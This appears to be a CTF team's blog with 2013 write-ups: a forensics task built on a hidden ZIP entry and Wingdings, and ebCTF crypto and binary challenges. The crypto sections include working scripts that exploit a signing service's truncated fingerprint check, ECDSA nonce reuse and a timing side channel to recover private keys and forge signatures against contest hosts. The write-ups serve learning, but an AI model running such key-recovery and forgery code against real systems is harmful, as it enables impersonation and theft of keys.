Sunday, August 18, 2013

UFO CTF 2013 - Broken brokoli (forensics 100)

This is a task from UFO CTF 2013, which was a sweet mixture of file format stegano, forensics and decoding weird alphabets (though that's probably not a legitimate CTF category).

You were given a single ZIP file (7117 bytes), which contained a single file called flag.rar (3402 bytes). The RAR file on the other hand contained a flag.bmp (180KB), but it was password protected (encrypted) so you couldn't extract it at this point.

Before I go any further, this is a good place to advertise the APPNOTE.TXT - .ZIP File Format Specification.

There are a couple of options where the password could be hidden in a ZIP archive - an extra field, a comment field, space between archived file and the ZIP headers, etc - and in the end it turned out that there is one more ZIP local file header (PK\3\4) in the ZIP archive, meaning that there is another archived file, which is not listed in the central directory. The local file header of this hidden file begins at offset D75h.

Parts of the header were wiped (zeroed), but still some information could be recovered:

50 4B 03 04 14 00 00 00 08 00 B8 63 D4 42 41 B2 68 F4 7F 0D 
00 00 86 34 03 00 07 00 00 00 00 00 00 00 00 00 00 ED DD 3B

The green part is, of course, the magic of the local file header. The yellow if the compression method - 8 means DEFLATE. Furthermore both the compressed size (pink) and the uncompressed size (cyan) were available: D7Fh bytes compressed would get decompressed into 33486h (210054 dec) bytes. Unfortunately the file name has been removed, but it wasn't really needed for anything.

There are several ways to extract this file. One is to add a zlib header in front of the DEFLATE data and just extract it using e.g. Python's zlib. Another would be fixing the local file header and placing it, and the data, in an external file, and then using Java stream ZIP decompression (which totally ignores the central directory and just looks for consequent local file headers from the beginning of the stream). Yet another would be to add a central directory record to describe this file and, again, fix the local file header. For an unknown reason I went for the first solution.

The question of "what exact values to choose for zlib header" can be answered by trying every possible zlib header - it turns out there aren't that many posibilities. The following Python code successfully extracted the hidden file:

import zlib

OFFSET = 0xd9a
SIZE   = 0xd7f
DSIZE  = 0x33486
d = open("brokenarchive.zip", "rb").read()[OFFSET:OFFSET+SIZE]
 
for m in [ "\x78\x01", "\x78\x9C", "\x78\xDA" ]:
  try:
    o = zlib.decompressobj().decompress(m + d, DSIZE)
    open("out.%.2x%.2x" % (ord(m[0]), ord(m[1])), "wb").write(o)
  except:
    pass

The output file turned out to be a BMP image:

The font is of course Wingdings, and after decoding you would get: #Ed&3m@cd0c! - the password to the flag.rar file extracted at the beginning.

As one could predict, the RAR file contained yet another BMP image with more Wingdings:

After decoding you would get flag is helloearthlings!!!!!!!!!, and a 100 points for your team :)

To sum up, a quick fun task if you know the ZIP format... and fluently read/write Wingdings ;>

Thursday, August 15, 2013

ebCTF 2013: crypto400

In this challenge we have an RSA signing service:

input: public_key (e,n) , data
It calculates the fingerprint of the provided public key sha1(public_key)
And then searches in ( fingerprint, d ) pair database for it.
Then it calculates $$m = sha1(current\_timestamp,data)$$ and $$signature = m^d (mod\ n)$$
output: current_timestamp, signature


Our task is to sign data with timestamp from 21.10.2005.
Signing service has a bug in searching procedure: only two bytes of fingerprint are compared. So it was possible to create public key with chosen n and bruteforce e with the same fingerprint which is used in real public_key.
After sending fake private key we are receiving: $$c=m^d mod\ n_{fake}$$ For given m,c,n when n is small we can bruteforce all x which satisfy conditions:
  • $$0<=x<=\varphi(n)$$
  • $$m^x = c\ ( mod\ n ) $$
We have also $$a^b\ mod\ n = a^{b\ mod\ \varphi(n)} mod\ n$$ $$b\ mod\ p\ =\ b\ mod\ \varphi(n)\ mod\ p\ if\ p|\varphi(n)$$ So when we choose small n and $$p|\varphi(n)$$ and we send it to the service, we will receive $$c = m^d\ mod\ n$$ where m is known. If for all x such that:
  • $$0<=x<=\varphi(n)$$
  • $$m^x = c\ (\ mod\ n )$$
$$y = x\ mod\ p$$ is the same value then we are sure that $$y = d\ mod\ p$$ When we have a lot of pairs $$(y_i,p_i)$$ and $$p_i$$ are pairwise coprime and $$\prod_i p_i>n_{real} $$ then we can calculate d using chinese remainder theorem. In my solution I used n and p values which satisfy $$n=2*p+1$$ and n,p are primes. Then $$\varphi(n)= n-1$$and$$p |\varphi(n)$$
#!/usr/bin/env python

import sys
import hashlib
import os
import socket
import time
import base64
import random
import datetime

from crt import ChineseRemainder

hostport = ('54.217.0.233', 2407)

# interpret string as little-endian long integer
def bin2int(s):
    return int(s[::-1].encode('hex'), 16)

# store integer as little-endian binary string of given length
def int2bin(i,n):
    return ("%x" % i).rjust(n*2,'0').decode('hex')[::-1]

def solve_dlp(x,y,n,p):
    solutions = set()
    for i in xrange(0,n):
        if pow(x,i,n) == y:
            solutions.add(i % p)
    return solutions

# read public key from file
with open("./pubkey0") as f:
    n = bin2int(f.read(1024 / 8))
    e = bin2int(f.read(32 / 8))


pubkeystring = int2bin(n,1024/8) + int2bin(e,32/8)
fingerprint=hashlib.sha1(pubkeystring).digest()


SIEVE_LEN = 1000000

sieve = [0]*SIEVE_LEN

for i in xrange(2,SIEVE_LEN):
    if sieve[i] == 0:
        j=2*i
        while j < SIEVE_LEN:
            sieve[j] = 1
            j+=i

primes_product = 1
crt = []
last_index = 100000
while primes_product < n:
    while sieve[last_index] == 1 or sieve[last_index*2+1] == 1:
        last_index+=1

    fake_n = 2*last_index+1
    prime = last_index 
    last_index+=1
    
    print 'using primes: ',fake_n,prime

    fake_e = 0
    while 1:
        fake_pubkeystring = int2bin(fake_n,1024/8) + int2bin(fake_e,32/8)
        fake_fingerprint=hashlib.sha1(fake_pubkeystring).digest()
        if fake_fingerprint[:2] == fingerprint[:2]:
            break
        fake_e += 1
    
    s = socket.create_connection(hostport)
    
    data = str(random.randint(0,1000))
    
    s.send(fake_pubkeystring + int2bin(len(data),32/8) + data)

    responsestring = ''
    while True:
        tmp = s.recv(1024)
        if not tmp: break
        responsestring += tmp


    ts = bin2int(responsestring[:4])
    sig = bin2int(responsestring[4:])
    if sig==0:
        continue

    m = bin2int(hashlib.sha1(int2bin(ts, 32/8) + data).digest() )
    m %= fake_n
    print 'received sig: ',sig
    print 'm: ',m
    x = solve_dlp(m,sig,fake_n,prime)
    if len(x)==1:
        x=x.pop()
        print 'solved: ',x
        crt.append( (x, prime) )
        primes_product *= prime

d = ChineseRemainder(crt)[0]
print 'private_key: ',d

ts = int(( datetime.datetime(2015, 10, 21) - datetime.datetime(1970, 1, 1)).total_seconds())
m = bin2int(hashlib.sha1(int2bin(ts, 32/8) + data).digest() )
sig = pow(m,d,n)
responsestring = int2bin(ts, 4) + int2bin(sig, 1024/8)
print base64.b64encode(pubkeystring + responsestring + data)

ebCTF 2013: crypto300

In this challenge we had a service written in Python:

service.py:
#! /usr/bin/env python

import string
import random
import SocketServer
import threading
import hashlib
import ecdsa
import base64
import os

#our own password database
access = {"f56334fbe02eaa05218c31b01a80f2f6":0, "00b37cb56bb57705348610253b1b82e4":0, 
          "f2131629ea6c08f7f5f326d8bb6eb5fd":0, "6fa95b1427af77b3d769ae9cb853382f":0, 
          "58cd57027cf126fcc9bd93dea9d74c1a":0, "f1cd318e412b5f7226e5f377a9544ff7":1, 
          "98c131f9fb31f732b136f87e64ff686a":1, "6f3249aa304055d63828af3bfab778f6":2}

#alphabet for passwords
alphabet = string.lowercase + string.uppercase

#read the curve parameters and flag from file
p,b,q,_sk,flag = open("secrets").read().split(',')
_p = int(p,16)
_b = int(b,16)
_q = int(q,16)
_sk = int(_sk,16)
ec = ecdsa.CurveFp( _p, _p-3, _b )

#some points that really should be on the curve we're going to use
_Gx = 0x337ef2115b4595fbd60e2ffb5ee6409463609e0e5a6611b105443e02cb82edd8L
_Gy = 0x1879b8d7a68a550f58166f0d6b4e86a0873d7b709e28ee318ddadd4ccf505e1aL

_Qx = 0x2a40fd522f73dc9f7c40b2420e39e62c5742ff2f11805a1577ed7f60153a0be1L
_Qy = 0x3085e99246006b71b4211eff47ff3efc0f93103ee7379dc3bcc6decdc46073a3L

_Rx = 0xbd0a442367bdc24cb09c49404e3d307ba99122e7b78e14f0d84870d0df97aa59L
_Ry = 0x22c88612db6b6af6f196cd815fc5f57fe871d3b6588b0c7a59e06cc759d736b2L

#check the curve is loaded ok
if not ec.contains_point(_Gx,_Gy):
        exit()
if not ec.contains_point(_Qx,_Qy):
        exit()
if not ec.contains_point(_Rx,_Ry):
        exit()

g = ecdsa.Point( ec, _Gx, _Gy, _q )

seed = os.urandom(32)

#construct the server key material
server_public_key = ecdsa.Public_key( g, g * _sk)
server_secret_key = ecdsa.Private_key(server_public_key, _sk )

#some extended interfaces to Lis's ecdsa script
def sign(hashed_data, privkey):
        h = int(hashed_data,16)
        k = get_ephemeral_key()
        signature  = privkey.sign( h, k )
        return encode_signature(signature)

def encode_signature(signature):
        rhex = "%064x" % signature.r
        shex = "%064x" % signature.s
        return base64.b64encode(rhex.decode('hex') + shex.decode('hex')) 

def verify(signature, hashed_input, pubkey):
        tmp = signature.replace("\n", "")       
        try:
                tmp = base64.b64decode(tmp).encode('hex')
        except:
                return False
        if len(tmp) != 128:
                return False
        sig = ecdsa.Signature(int(tmp[:64],16),int(tmp[64:],16))
        h = int(hashed_input,16)
        return pubkey.verifies(h, sig)
                
def get_ephemeral_key():
        k = ""
        while len(k) < 32:
                k += hashlib.md5(seed + str(random.randint(0,255))).digest()
        return int(k.encode('hex'),16)

#server 
class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
        pass

class incoming(SocketServer.BaseRequestHandler):
        def handle(self):
                cur_thread = threading.current_thread()
                #hashcash
                cash = os.urandom(4).encode('hex')
                self.request.send("Please send a string of 64 characters, consisting of only 0-9a-f that starts with %s which md5 digest starts with 0000:\n" % cash)
                resp = self.request.recv(128).strip()
                if len(resp) != 64 or not all(c in '0123456789abcdef' for c in resp) or not resp.startswith(cash) or not hashlib.md5(resp).hexdigest().startswith('0000'):
                    self.request.send('Sorry :(')
                    return
                #request password
                self.request.send("Please enter your password:\n")
                password = self.request.recv(32)
                password = password.replace("\n", "")
                #we only understand simple passwords
                if not all(c in alphabet for c in password):
                        self.request.send("Access denied\n")
                        return
                token = hashlib.md5(password).digest().encode('hex')
                #you better be in our database
                if not token in access:
                        self.request.send("Access denied\n")
                        return
                #retrieve allowed access level
                level = access[token]
                if level == 2:
                        #you really really deserve this
                        self.request.send("There you go: " + flag)
                if level == 1:
                        #you seem to belong here
                        self.request.send("Please present your security token for today:\n" )
                        sec_token = self.request.recv(1024)
                        if verify(sec_token, token, server_public_key):
                                self.request.send("There you go: " + flag)
                        else:
                                self.request.send("Access denied\n")
                if level == 0:
                        self.request.send("Sorry level 0 has been temporarily disabled while we investigate a potential security breach.\n")
                        # Code disabled while we investigate the breach
                        #self.request.send("Here is your security token for today:\n" )
                        #self.request.send( sign(token, server_secret_key) + "\n" )
    
server = threadedserver(("127.0.0.1", 3016), incoming)
server.allow_reuse_address = True
server.timeout = 4
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

server_thread.join()

ecdsa.py:
#! /usr/bin/env python

# 
# credits to Lis
# taken from https://bitcointalk.org/index.php?topic=23241.0
#

class CurveFp( object ):
  def __init__( self, p, a, b ):
    self.__p = p
    self.__a = a
    self.__b = b

  def p( self ):
    return self.__p

  def a( self ):
    return self.__a

  def b( self ):
    return self.__b

  def contains_point( self, x, y ):
    return ( y * y - ( x * x * x + self.__a * x + self.__b ) ) % self.__p == 0

class Point( object ):
  def __init__( self, curve, x, y, order = None ):
    self.__curve = curve
    self.__x = x
    self.__y = y
    self.__order = order
    if self.__curve: assert self.__curve.contains_point( x, y )
    if order: assert self * order == INFINITY
 
  def __add__( self, other ):
    if other == INFINITY: return self
    if self == INFINITY: return other
    assert self.__curve == other.__curve
    if self.__x == other.__x:
      if ( self.__y + other.__y ) % self.__curve.p() == 0:
        return INFINITY
      else:
        return self.double()

    p = self.__curve.p()
    l = ( ( other.__y - self.__y ) * \
          inverse_mod( other.__x - self.__x, p ) ) % p
    x3 = ( l * l - self.__x - other.__x ) % p
    y3 = ( l * ( self.__x - x3 ) - self.__y ) % p
    return Point( self.__curve, x3, y3 )

  def __mul__( self, other ):
    def leftmost_bit( x ):
      assert x > 0
      result = 1L
      while result <= x: result = 2 * result
      return result / 2

    e = other
    if self.__order: e = e % self.__order
    if e == 0: return INFINITY
    if self == INFINITY: return INFINITY
    assert e > 0
    e3 = 3 * e
    negative_self = Point( self.__curve, self.__x, -self.__y, self.__order )
    i = leftmost_bit( e3 ) / 2
    result = self
    while i > 1:
      result = result.double()
      if ( e3 & i ) != 0 and ( e & i ) == 0: result = result + self
      if ( e3 & i ) == 0 and ( e & i ) != 0: result = result + negative_self
      i = i / 2
    return result

  def __rmul__( self, other ):
    return self * other

  def __str__( self ):
    if self == INFINITY: return "infinity"
    return "(%d,%d)" % ( self.__x, self.__y )

  def double( self ):
    if self == INFINITY:
      return INFINITY

    p = self.__curve.p()
    a = self.__curve.a()
    l = ( ( 3 * self.__x * self.__x + a ) * \
          inverse_mod( 2 * self.__y, p ) ) % p
    x3 = ( l * l - 2 * self.__x ) % p
    y3 = ( l * ( self.__x - x3 ) - self.__y ) % p
    return Point( self.__curve, x3, y3 )

  def x( self ):
    return self.__x

  def y( self ):
    return self.__y

  def curve( self ):
    return self.__curve
  
  def order( self ):
    return self.__order
    
INFINITY = Point( None, None, None )

def inverse_mod( a, m ):
  if a < 0 or m <= a: a = a % m
  c, d = a, m
  uc, vc, ud, vd = 1, 0, 0, 1
  while c != 0:
    q, c, d = divmod( d, c ) + ( c, )
    uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc
  assert d == 1
  if ud > 0: return ud
  else: return ud + m

class Signature( object ):
  def __init__( self, r, s ):
    self.r = r
    self.s = s
    
class Public_key( object ):
  def __init__( self, generator, point ):
    self.curve = generator.curve()
    self.generator = generator
    self.point = point
    n = generator.order()
    if not n:
      raise RuntimeError, "Generator point must have order."
    if not n * point == INFINITY:
      raise RuntimeError, "Generator point order is bad."
    if point.x() < 0 or n <= point.x() or point.y() < 0 or n <= point.y():
      raise RuntimeError, "Generator point has x or y out of range."

  def verifies( self, hash, signature ):
    G = self.generator
    n = G.order()
    r = signature.r
    s = signature.s
    if r < 1 or r > n-1: return False
    if s < 1 or s > n-1: return False
    c = inverse_mod( s, n )
    u1 = ( hash * c ) % n
    u2 = ( r * c ) % n
    xy = u1 * G + u2 * self.point
    v = xy.x() % n
    return v == r

class Private_key( object ):
  def __init__( self, public_key, secret_multiplier ):
    self.public_key = public_key
    self.secret_multiplier = secret_multiplier


  def sign( self, hash, random_k ):
    G = self.public_key.generator
    n = G.order()
    k = random_k % n
    p1 = k * G
    r = p1.x()
    if r == 0: raise RuntimeError, "amazingly unlucky random number r"
    s = ( inverse_mod( k, n ) * \
          ( hash + ( self.secret_multiplier * r ) % n ) ) % n
    if s == 0: raise RuntimeError, "amazingly unlucky random number s"
    return Signature( r, s )
And captured session (1000 requests):
Bushing N2H4IbYdza03JAPqQMSClxFCWaZbw3qMT1btugW9lAMm7jPtethECcB64qSwiNDT2GAUPNcZe+LHC32q73PmSQ==
Hotz wNpp5moxL1+Z0I40PJQCC/LegcOQocP+8Y9GV7Mv+5xCxqlIuZkMQDSpRWffZGG4NdkaOvAfttTtQuCaJZonxA==
Hotz l3O9KitquB8KznEtDn4NJnWOxk1oJfYxMp3A9MjMOrezkBIzao9RQnWqF+ARC61MVNXRnzCypm3/RCPCT3XtFQ==
[...]
Bushing Ny/2AWoDfM70LbVBrnUQw85Wr2aV0pNihTimg6aYCnqw0jxp2VTQ/Xkss3jNXSLWX4u2/G2RplnMKDbIia1DVQ==
Bushing aPL6Qh+7UQwZ0EIEvPgPHW+YkcqIrpULimmgt4xdqCgHwOb7LGxyGh7hNT5b/Yyo1crvsQ5AxEZZiuQ80QJBmg==
Bushing P3uwUNm7bDwpgRe6KgZXPmk1PmQOpLeVPtr+cQjI5yxb17YBZw8wh1jp24O5avzZ4cXdMeJvC0jABBCkMtX9PA==
Hotz PEoOFXZD/Qs4b/4Omsn3O87UUpFsd8i25mJvo91hp+K0W3bX7bbhHU/i2hSSmGLAXuNS7dIoO3Sxn/liqNGNlg==
To get flag we need to:
1. Break MD5 level2 hash (6f3249aa304055d63828af3bfab778f6)
or
2. Break one of MD5 level1 hashes (f1cd318e412b5f7226e5f377a9544ff7, 98c131f9fb31f732b136f87e64ff686a) and sign it with ECDSA private key.

Level2 hash seems to be unbreakable, level1 hashes are easy to break but we don't have the private key and all captured data are level0
ECDSA is safe if all messages are signed with different random value of ephemeral key (k), otherwise when we have 2 messages that used the same value of k we can calculate k using formula $$k = \frac{hash_1 - hahs_2}{s_1-s_2}\ (mod\ n)$$ and then the private key: $$d_A = \frac{s_1*k-hash_1}{r_1}\ (mod\ n)$$ And then we can sign our hash: $$s = \frac{hash+d_A*r_1}{k}\ (mod\ n)$$ and the signature is $$(r_1,s)$$ Let's look at get_ephemeral_key() function:
def get_ephemeral_key():
        k = ""
        while len(k) < 32:
                k += hashlib.md5(seed + str(random.randint(0,255))).digest()
        return int(k.encode('hex'),16)
There are only 255*255 possible outputs of this function in one session (seed value is random but stays the same for the whole session)! And we have 1000 captured samples, so there is a huge probability that two messages were using the same k (birthday paradox). We can calculate k and the private key value from all pairs and if two disjoint pairs will give us the same private key, we can assume that this is true private_key.
import base64
import hashlib

n = G_ORDER

def inverse_mod( a, m ):
  if a < 0 or m <= a: a = a % m
  c, d = a, m
  uc, vc, ud, vd = 1, 0, 0, 1
  while c != 0:
    q, c, d = divmod( d, c ) + ( c, )
    uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc
  assert d == 1
  if ud > 0: return ud
  else: return ud + m

f = open('captured-sessions.txt','r') 

data = f.read()

lines = data.split("\n")

sigs = []
zs = []
for line in lines:
    dwa = line.split(' ')
    if len(dwa) <> 2:
        continue
    tmp = base64.b64decode(dwa[1]).encode('hex')
    r = int(tmp[:64],16)
    s = int(tmp[64:],16)
    sigs.append( (r,s) )
    hashed_input = hashlib.md5(dwa[0]).digest().encode('hex')
    zs.append(int(hashed_input,16))


keys = dict()

for i in range(0,1000):
    for j in range(i+1,1000):
        (r1,s1) = sigs[i]
        (r2,s2) = sigs[j]
        z1 = zs[i]
        z2 = zs[j]
        if z1 == z2:
            continue
        k = (z1 - z2)*inverse_mod(s1-s2,n) % n 
        d = (s1*k - z1)*inverse_mod(r1,n) % n
        ii = i
        jj =j
        if d in keys:
            (ii,jj) = keys[d]
        if ii <> i and jj <> j and i<>jj and j<>ii:
             print d,k,r1
        keys[d]=(i,j)
But there is a problem, we need Order of G. Let's look at verify function:
  def verifies( self, hash, signature ):
    G = self.generator
    n = G.order()
    r = signature.r
    s = signature.s
    if r < 1 or r > n-1: return False
    if s < 1 or s > n-1: return False
    c = inverse_mod( s, n )
    u1 = ( hash * c ) % n
    u2 = ( r * c ) % n
    xy = u1 * G + u2 * self.point
    v = xy.x() % n
    return v == r
Before expensive (time) calculations there is a check if values of r and s are between 1 and n-1. So we can use binary search and time checks to find value of n.
import base64
import socket
import re
import random
import hashlib
import datetime

hostport = ('54.216.116.38',  3016)

def int2bin(d):
    s=""
    for i in range(0,32):
        s+=chr(d%256)
        d/=256
    return s[::-1]

ordera = 0
orderb = 2**256 - 1
while 1:
    s = socket.create_connection(hostport)

    d= s.recv(1024)
    m = re.search('.*starts with (.*) which md5.*', d)
    pref = m.group(1)

    while 1:
        st = "01234567"*7
        resp = pref + ''.join(random.sample(st,len(st)))
        if hashlib.md5(resp).hexdigest().startswith('0000'):
            break

    s.send(resp)
    d= s.recv(1024)


    password = "Kevin"+("\n"*27)
    s.send(password)

    d= s.recv(1024)

    si=2
    orderc = ordera + (orderb - ordera)/2
    ri = orderc
    
    tmp = int2bin(ri) + int2bin(si)
    sig =  base64.b64encode(tmp)
    s.send(sig)

    n1=datetime.datetime.now()
    d= s.recv(1024)
    n2=datetime.datetime.now()

    x=(n2-n1).microseconds

    if x<100000:
        orderb = orderc
    else:
        ordera = orderc

    print x,ordera, orderb
    s.close()
And that is everything what we need to solve this task.
import base64
import socket
import re
import random
import hashlib
import datetime

hostport = ('54.216.116.38',  3016)

def int2bin(d):
    s=""
    for i in range(0,32):
        s+=chr(d%256)
        d/=256
    return s[::-1]

ordera = 0
orderb = 2**256 - 1

s = socket.create_connection(hostport)

d= s.recv(1024)
m = re.search('.*starts with (.*) which md5.*', d)
pref = m.group(1)

while 1:
    st = "01234567"*7
    resp = pref + ''.join(random.sample(st,len(st)))
    if hashlib.md5(resp).hexdigest().startswith('0000'):
        break

s.send(resp)
d= s.recv(1024)


password = "Kevin"+("\n"*27)
s.send(password)

d= s.recv(1024)
    
n = 89953523493328636138979614835438769106005948670998555217484157791369906305783 
da =68503307448214310387573639006216872681840007669594105206515313184282784925849
k = 36738773201348520209625638351073339244477604751576415245956940910111085841389
ri = 59596085284558034169187633095832466866630673714956966387930595096089236063353

hash = int('f1cd318e412b5f7226e5f377a9544ff7',16)

si = ( inverse_mod( k, n ) *  ( hash + ( da * ri ) % n ) ) % n
   
tmp = int2bin(ri) + int2bin(si)
sig =  base64.b64encode(tmp)

s.send(sig)

d= s.recv(1024)
print d

Sunday, August 4, 2013

ebCTF 2013: bin100 - bin300

bin100 - 'Dice Revenge'

Very similar challenge to one from teaser, roll some dices and win. Of course you have to roll 3 1 3 3 7 ;]
All rolls look alike:
 8048ebb:       e8 50 fc ff ff          call   8048b10 
 8048ec0:       89 c1                   mov    ecx,eax
 8048ec2:       ba ab aa aa 2a          mov    edx,0x2aaaaaab
 8048ec7:       89 c8                   mov    eax,ecx
 8048ec9:       f7 ea                   imul   edx
 8048ecb:       89 c8                   mov    eax,ecx
 8048ecd:       c1 f8 1f                sar    eax,0x1f
 8048ed0:       29 c2                   sub    edx,eax
 8048ed2:       89 d0                   mov    eax,edx
 8048ed4:       01 c0                   add    eax,eax
 8048ed6:       01 d0                   add    eax,edx
 8048ed8:       01 c0                   add    eax,eax
 8048eda:       89 ca                   mov    edx,ecx
 8048edc:       29 c2                   sub    edx,eax
 8048ede:       8d 42 01                lea    eax,[edx+0x1]
 8048ee1:       89 44 24 50             mov    DWORD PTR [esp+0x50],eax
 8048ee5:       83 7c 24 50 01          cmp    DWORD PTR [esp+0x50],0x1
So just find 5 rands and put breaks on them:
mov    DWORD PTR [esp+0x50],eax
Something like this:
--- bin100.gdb ---
b *0x8048ee1
b *0x80490ee
b *0x80492fc
b *0x80494ff
b *0x8049744

commands 1
set $eax=3
c
end

commands 2
set $eax=1
c
end
commands 3
set $eax=3
c
end
commands 4
set $eax=3
c
end

commands 5
set $eax=7
c
end

run
quit
--- end --- 
Fire it up: gdb -q -nx -x bin100.gdb bin100 press some enters aaand...
[*] You rolled a seven, with a six sided dice! How awesome are you?!
[*] You rolled 3-1-3-3-7, what does that make you? ELEET! \o/
[*] Nice job, here is the flag: ebCTF{9a9689dbd47a1fd3fc0bf17d60edf545}

bin200 - 'No comment...'

Throw it in IDA, look around. Google for RunPerl or -p2x-exe/debug to find out its a perl script compiled
with perl2exe - you can find a decoder here - then run it:
$ python2 per2exe-dec.py ebCTF_BIN200.exe
p2x_stub.lib
p2x_header.pm
p2x_info.pm
_main.pl
P2XDLL/p2x5123.dl
$ cat _main.pl
#!/usr/bin/perl

print "\n[*] ebCTF BIN 200\n".
      "      No comment...\n\n";

$secret = "Sup3RSeCr3tStuFf!";

print "[*] What is the secret? ";
$answer = ;
chomp($answer);

if ($answer eq $secret) {
  print "\n[*] Yes, that is correct! However that was not the goal of this challenge.\n".
        "    Did you know that compiled code does not contain any comments?\n";
} else {
 print "\n[*] Isn't that cute...but it is WRONG!.\n";
}

# W e l l ,  w e l l,  i t  s e e m s  t h e r e  a c t u a l l y  i s  a  c o m m e n t . . .
#
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |  _________   | | |   ______     | | |     ______   | | |  _________   | |
#| | |_   ___  |  | | |  |_   _ \    | | |   .' ___  |  | | | |  _   _  |  | |
#| |   | |_  \_|  | | |    | |_) |   | | |  / .'   \_|  | | | |_/ | | \_|  | |
#| |   |  _|  _   | | |    |  __'.   | | |  | |         | | |     | |      | |
#| |  _| |___/ |  | | |   _| |__) |  | | |  \ `.___.'\  | | |    _| |_     | |
#| | |_________|  | | |  |_______/   | | |   `._____.'  | | |   |_____|    | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |  _________   | | |       __     | | |  _________   | | |  ________    | |
#| | |_   ___  |  | | |     .' _/    | | | |_   ___  |  | | | |_   ___ `.  | |
#| |   | |_  \_|  | | |     | |      | | |   | |_  \_|  | | |   | |   `. \ | |
#| |   |  _|      | | |    < <       | | |   |  _|  _   | | |   | |    | | | |
#| |  _| |_       | | |     | |_     | | |  _| |___/ |  | | |  _| |___.' / | |
#| | |_____|      | | |     `.__\    | | | |_________|  | | | |________.'  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |   ______     | | |  ________    | | |   ______     | | |     ____     | |
#| |  |_   _ \    | | | |_   ___ `.  | | |  |_   _ \    | | |   .'    '.   | |
#| |    | |_) |   | | |   | |   `. \ | | |    | |_) |   | | |  |  .--.  |  | |
#| |    |  __'.   | | |   | |    | | | | |    |  __'.   | | |  | |    | |  | |
#| |   _| |__) |  | | |  _| |___.' / | | |   _| |__) |  | | |  |  `--'  |  | |
#| |  |_______/   | | | |________.'  | | |  |_______/   | | |   '.____.'   | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |    ______    | | |     ______   | | |   _______    | | |    ______    | |
#| |   / ____ `.  | | |   .' ___  |  | | |  |  ___  |   | | |  .' ____ '.  | |
#| |   `'  __) |  | | |  / .'   \_|  | | |  |_/  / /    | | |  | (____) |  | |
#| |   _  |__ '.  | | |  | |         | | |      / /     | | |  '_.____. |  | |
#| |  | \____) |  | | |  \ `.___.'\  | | |     / /      | | |  | \____| |  | |
#| |   \______.'  | | |   `._____.'  | | |    /_/       | | |   \______,'  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |    ______    | | |     ____     | | |  _________   | | |      __      | |
#| |  .' ____ '.  | | |   .' __ '.   | | | |_   ___  |  | | |     /  \     | |
#| |  | (____) |  | | |   | (__) |   | | |   | |_  \_|  | | |    / /\ \    | |
#| |  '_.____. |  | | |   .`____'.   | | |   |  _|      | | |   / ____ \   | |
#| |  | \____| |  | | |  | (____) |  | | |  _| |_       | | | _/ /    \ \_ | |
#| |   \______,'  | | |  `.______.'  | | | |_____|      | | ||____|  |____|| |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |   _______    | | |   _______    | | |     __       | | |   ______     | |
#| |  |  ___  |   | | |  |  _____|   | | |    /  |      | | |  |_   _ \    | |
#| |  |_/  / /    | | |  | |____     | | |    `| |      | | |    | |_) |   | |
#| |      / /     | | |  '_.____''.  | | |     | |      | | |    |  __'.   | |
#| |     / /      | | |  | \____) |  | | |    _| |_     | | |   _| |__) |  | |
#| |    /_/       | | |   \______.'  | | |   |_____|    | | |  |_______/   | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |  _________   | | |    _____     | | |     __       | | |  ________    | |
#| | |_   ___  |  | | |   / ___ `.   | | |    /  |      | | | |_   ___ `.  | |
#| |   | |_  \_|  | | |  |_/___) |   | | |    `| |      | | |   | |   `. \ | |
#| |   |  _|  _   | | |   .'____.'   | | |     | |      | | |   | |    | | | |
#| |  _| |___/ |  | | |  / /____     | | |    _| |_     | | |  _| |___.' / | |
#| | |_________|  | | |  |_______|   | | |   |_____|    | | | |________.'  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |     __       | | |    ______    | | |    ______    | | |   _    _     | |
#| |    /  |      | | |   / ____ `.  | | |  .' ____ \   | | |  | |  | |    | |
#| |    `| |      | | |   `'  __) |  | | |  | |____\_|  | | |  | |__| |_   | |
#| |     | |      | | |   _  |__ '.  | | |  | '____`'.  | | |  |____   _|  | |
#| |    _| |_     | | |  | \____) |  | | |  | (____) |  | | |      _| |_   | |
#| |   |_____|    | | |   \______.'  | | |  '.______.'  | | |     |_____|  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |      __      | | |   _______    | | |     ____     | | |    ______    | |
#| |     /  \     | | |  |  _____|   | | |   .' __ '.   | | |  .' ____ \   | |
#| |    / /\ \    | | |  | |____     | | |   | (__) |   | | |  | |____\_|  | |
#| |   / ____ \   | | |  '_.____''.  | | |   .`____'.   | | |  | '____`'.  | |
#| | _/ /    \ \_ | | |  | \____) |  | | |  | (____) |  | | |  | (____) |  | |
